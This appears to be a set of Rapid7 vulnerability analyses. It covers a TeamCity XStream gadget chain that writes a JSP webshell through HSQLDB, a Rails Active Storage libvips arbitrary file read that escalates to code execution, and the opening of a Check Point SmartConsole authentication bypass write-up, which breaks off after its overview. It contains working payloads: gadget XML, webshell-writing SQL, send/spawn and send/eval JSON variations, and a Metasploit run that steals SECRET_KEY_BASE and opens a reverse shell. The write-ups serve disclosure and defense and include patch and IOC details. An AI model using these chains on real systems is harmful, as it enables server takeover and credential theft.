The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.

Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.

Triggering gadget execution

A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.

The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().

A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.

The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:

CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'

HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.

Executing a JSP payload

Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:

<servlet>
  <servlet-name>realJspServlet</servlet-name>
  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>realJspServlet</servlet-name>
  <url-pattern>*.jspws</url-pattern>
</servlet-mapping>

<servlet-mapping>
  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.

Exploitation

A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.

poc2.png

Figure 2: Proof-of-concept exploitation.

The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.

[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...

IOC

On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:

[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...

A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:

07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.

Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)

3 August 2026 at 13:11

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.

Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.

We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing's chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.

The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.

The attack can be summarized as follows:

[Attacker]
   |
   | 1. Creates a direct-upload blob with content_type = image/png
   v
[Rails stores the blob as an image without examining the bytes]
   |
   | 2. Reuses a genuine variation_key from the same application
   v
[Rails accepts the blob as variable and starts a representation]
   |
   | 3. image_processing hands the local tempfile path to libvips
   v
[libvips matload]
   |
   | 4. Bytes 0-9 match "MATLAB 5.0"
   v
[libmatio]
   |
   | 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
   v
[HDF5 external storage]
   |
   | 6. Dataset bytes come from attacker-chosen path + offset
   v
[Rendered PNG representation]
   |
   --> Target file bytes are returned as image pixels

Analysis

The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.

Direct upload stores an attacker-controlled type

The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:

class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
    end
    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
      metadata = filter_metadata(metadata)
      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name # <-- [3]
    end

At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.

Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:

  def variant(transformations)
    if variable?
      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
    else
      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
    end
  end

  # Returns true if the variant processor can transform the blob (its content
  # type is in +ActiveStorage.variable_content_types+).
  def variable?
    ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
  end

At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.

A genuine variation key can be replayed against another blob

The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:

module ActiveStorage::SetBlob # :nodoc:
  extend ActiveSupport::Concern

  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end

    def blob_scope
      ActiveStorage::Blob
    end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
  include ActiveStorage::SetBlob

  before_action :set_representation

  private
    def blob_scope
      ActiveStorage::Blob.scope_for_strict_loading
    end

    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # <-- [6]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end
    # Returns a Variation instance with the transformations that were encoded by +encode+.
    def decode(key)
      new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
    end

At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.

The Vips pipeline leaves decoder selection to libvips

Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:

def process(file, format:)
  processor.
	source(file).
	loader(page: 0). # <-- [8]
	convert(format).
	apply(operations). # <-- [9]
	call
end
def processor
  ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
  transformations.each_with_object([]) do |(name, argument), list|
	if ActiveStorage.variant_processor == :mini_magick
	  validate_transformation(name, argument) # <-- [10]
	end
	if name.to_s == "combine_options"
	  raise ArgumentError, <<~ERROR.squish
		Active Storage's ImageProcessing transformer doesn't support :combine_options,
		as it always generates a single command.
	  ERROR
	end
	if argument.present?
	  list << [ name, argument ] # <-- [11]
	end
  end
end

At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.

In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:

def self.load_image(path_or_image, loader: nil, autorot: true, **options)
	if path_or_image.is_a?(::Vips::Image)
	  image = path_or_image
	else
	  path = path_or_image
	  if loader
		image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
	  else
		options = Utils.select_valid_loader_options(path, options)
		image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
	  end
	end
	image = image.autorot if autorot && !options.key?(:autorotate)
	image
  end

Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.

libvips and libmatio disagree about the MAT header

In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:

static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // <-- [13]

	foreign_class->suffs = vips__mat_suffs;

	load_class->is_a = vips__mat_ismat; // <-- [14]

The entire libvips MAT sniffer is a ten-byte prefix check:

int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf)) // <-- [15]
		return 1;

	return 0;
}

At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.

In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:

enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**< @brief Matlab version 7.3 file */ // <-- [16]
    MAT_FT_MAT5 = 0x0100,  /**< @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**< @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**< @brief Undefined version       */
};

At [16], libmatio defines 0x0200 as the MAT 7.3 format identifier.

Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat->header, 1, 116, fp);
    mat->header[116] = '\0';
    bytesread += fread(mat->subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat->byteswap = -1;
        if ( tmp == 0x4d49 )
            mat->byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat->byteswap = 1;
            Mat_int16Swap(&tmp2);
        }

        mat->version = (int)tmp2; // <-- [17]
        if ( (mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) {
            mat->bof = ftello((FILE *)mat->fp);
            if ( mat->bof == -1L ) {
                free(mat->header);
                free(mat->subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat->next_index = 0;
        } else {
            mat->version = 0;
        }
    }

At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.

static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat->fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat->version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat->version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // <-- [18]
#endif
    else if ( mat->version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.

HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:

static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // <-- [19]
        if ( herr < 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }

Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.

The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.

Why variants are not required

A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.

Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.

Why the patch works

The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:

diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # <-- [20]
+    raise <<~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # <-- [21]
+end

Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.

From file read to code execution

The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.

Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:

{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}

In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:

def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
	if argument == true || argument == nil
	  builder.public_send(name)
	elsif argument.is_a?(Array)
	  builder.public_send(name, *argument) # <-- [22]
	elsif argument.is_a?(Hash)
	  builder.public_send(name, **argument)
	else
	  builder.public_send(name, argument)
	end
  end
end

At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.

This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.

The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.

Exploitation

Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.

The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.

In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:

msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)

The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.

Ethiack's published  1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.

Remediation

For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.

Rapid7 Analysis: Check Point SmartConsole Authentication Bypass (CVE-2026-16232)

28 July 2026 at 14:32

Overview

On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.

Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.

Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.

Analysis

SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.

The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.

The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.

